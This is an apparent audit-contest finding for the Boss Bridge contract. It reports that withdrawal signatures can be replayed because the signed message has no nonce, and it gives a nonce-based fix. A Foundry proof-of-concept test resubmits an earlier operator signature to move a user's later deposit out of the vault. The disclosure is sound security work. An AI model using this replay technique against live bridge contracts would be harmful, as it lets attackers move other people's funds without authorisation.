First Flight #4: Boss Bridge
First Flight #4
Beginner FriendlyFoundryBridge
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Message digest not containing nonce makes it possible to bypass signer completely

zxarcs

Summary

It is possible to bypass the need for signer if exactly same transaction is executed as a transaction in the past.

Details

Since all pieces of data used when creating the message digest (that will be signed with operator's private key) are static and reproducible (i.e. nothing dynamic is used such as an account NONCE), it is possible to make a sendToL1 function call with exactly the same data as a previous transaction.

This stems from the fact that in function withdrawTokensToL1, data is encoded in a duplicatable manner. There needs to be a piece in the message digest that can only be used once -such as a nonce.

This way, the attacker can execute a denial of service attack which will immediately withdraw tokens back to the user after the user deposited them.

The user will not be able to use their funds on L2 because the attacker can send them back to the user immediately, completely bypassing the need for the operator to sign the withdrawal transaction.

Filename

src/L1BossBridge.sol

Permalinks

https://github.com/Cyfrin/2023-11-Boss-Bridge/blob/dad104a9f481aace15a550cf3113e81ad6bdf061/src/L1BossBridge.sol#L91C25-L91C25

Impact

Regular user can not use L2 because their funds are immediately returned to them (provided they had a previous withdraw transaction that will be mimicked by the attacker).

Recommendations

One approach is to implement an internal state variable that has a nonce which can only be used for one withdrawal and is then invalidated.

Add a new state variable to keep track of this value.

contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
using SafeERC20 for IERC20;
​
uint256 public DEPOSIT_LIMIT = 100_000 ether;
+ mapping(uint256 => bool) usedNonces; // add a new state variable to the contract

Then in withdrawTokensToL1 add a parameter for the uint256 nonce that will have to be different each time. Encode the message with this one-time-use value included.

- function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
+ function withdrawTokensToL1(uint256 nonce address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
+ require(!usedNonces[nonce]);
+ usedNonces[nonce] = true;
// ...
abi.encode(
+ nonce, // <-- nonce is added here
address(token),
0, // value
abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
)

This will ensure that every future transaction will require a nonce value that is different -since they will be usable only once because the previous nonce values in the mapping are all set to true and not usable again.

For more details on implementing this approach please see below:
https://docs.soliditylang.org/en/latest/solidity-by-example.html#computing-the-message-hash

Tools Used

  • Manual Audit

  • Foundry

POC

function testCanBypassSigner() public {
// regular user deposit
uint256 userDeposit = 10e18;
vm.prank(user);
token.approve(address(tokenBridge), type(uint256).max);
tokenBridge.depositTokensToL2(user, userInL2, userDeposit);
assertEq(token.balanceOf(address(vault)), userDeposit);
assertEq(token.balanceOf(address(user)), 1000e18 - userDeposit);
​
// after some time, user decides to withdraw
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, userDeposit), operator.key);
tokenBridge.withdrawTokensToL1(user, userDeposit, v, r, s);
assertEq(token.balanceOf(address(vault)), 0);
assertEq(token.balanceOf(address(user)), 1000e18);
​
// at this point, the attacker has seen the withdraw transaction and all of its data
// including the amount withdrawn and with what v, r, s arguments the withdrawTokensToL1
// function was called with.
uint8 attackerNoted_v = v;
bytes32 attackerNoted_r = r;
bytes32 attackerNoted_s = s;
// attacker can craft the complete message themselves because they can see in the code
// which pieces are used and how they are used
// mocked below
bytes memory attackerNoted_message = _getTokenWithdrawalMessage(user, userDeposit);
​
// regular user deposits again with larger or equal amount of funds as the previous deposit
uint256 newUserDeposit = 20e18;
vm.prank(user);
token.approve(address(tokenBridge), type(uint256).max);
tokenBridge.depositTokensToL2(user, userInL2, newUserDeposit);
assertEq(token.balanceOf(address(vault)), newUserDeposit);
assertEq(token.balanceOf(address(user)), 1000e18 - newUserDeposit);
​
// attacker sees this transaction and as soon as its complete
// creates a withdraw transaction just like the original one from before
// note: no sign transaction here - bypassing signer
tokenBridge.sendToL1(attackerNoted_v, attackerNoted_r, attackerNoted_s, attackerNoted_message);
assertEq(token.balanceOf(address(vault)), newUserDeposit - userDeposit);
assertEq(token.balanceOf(address(user)), 1000e18 - newUserDeposit + userDeposit);
}
Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.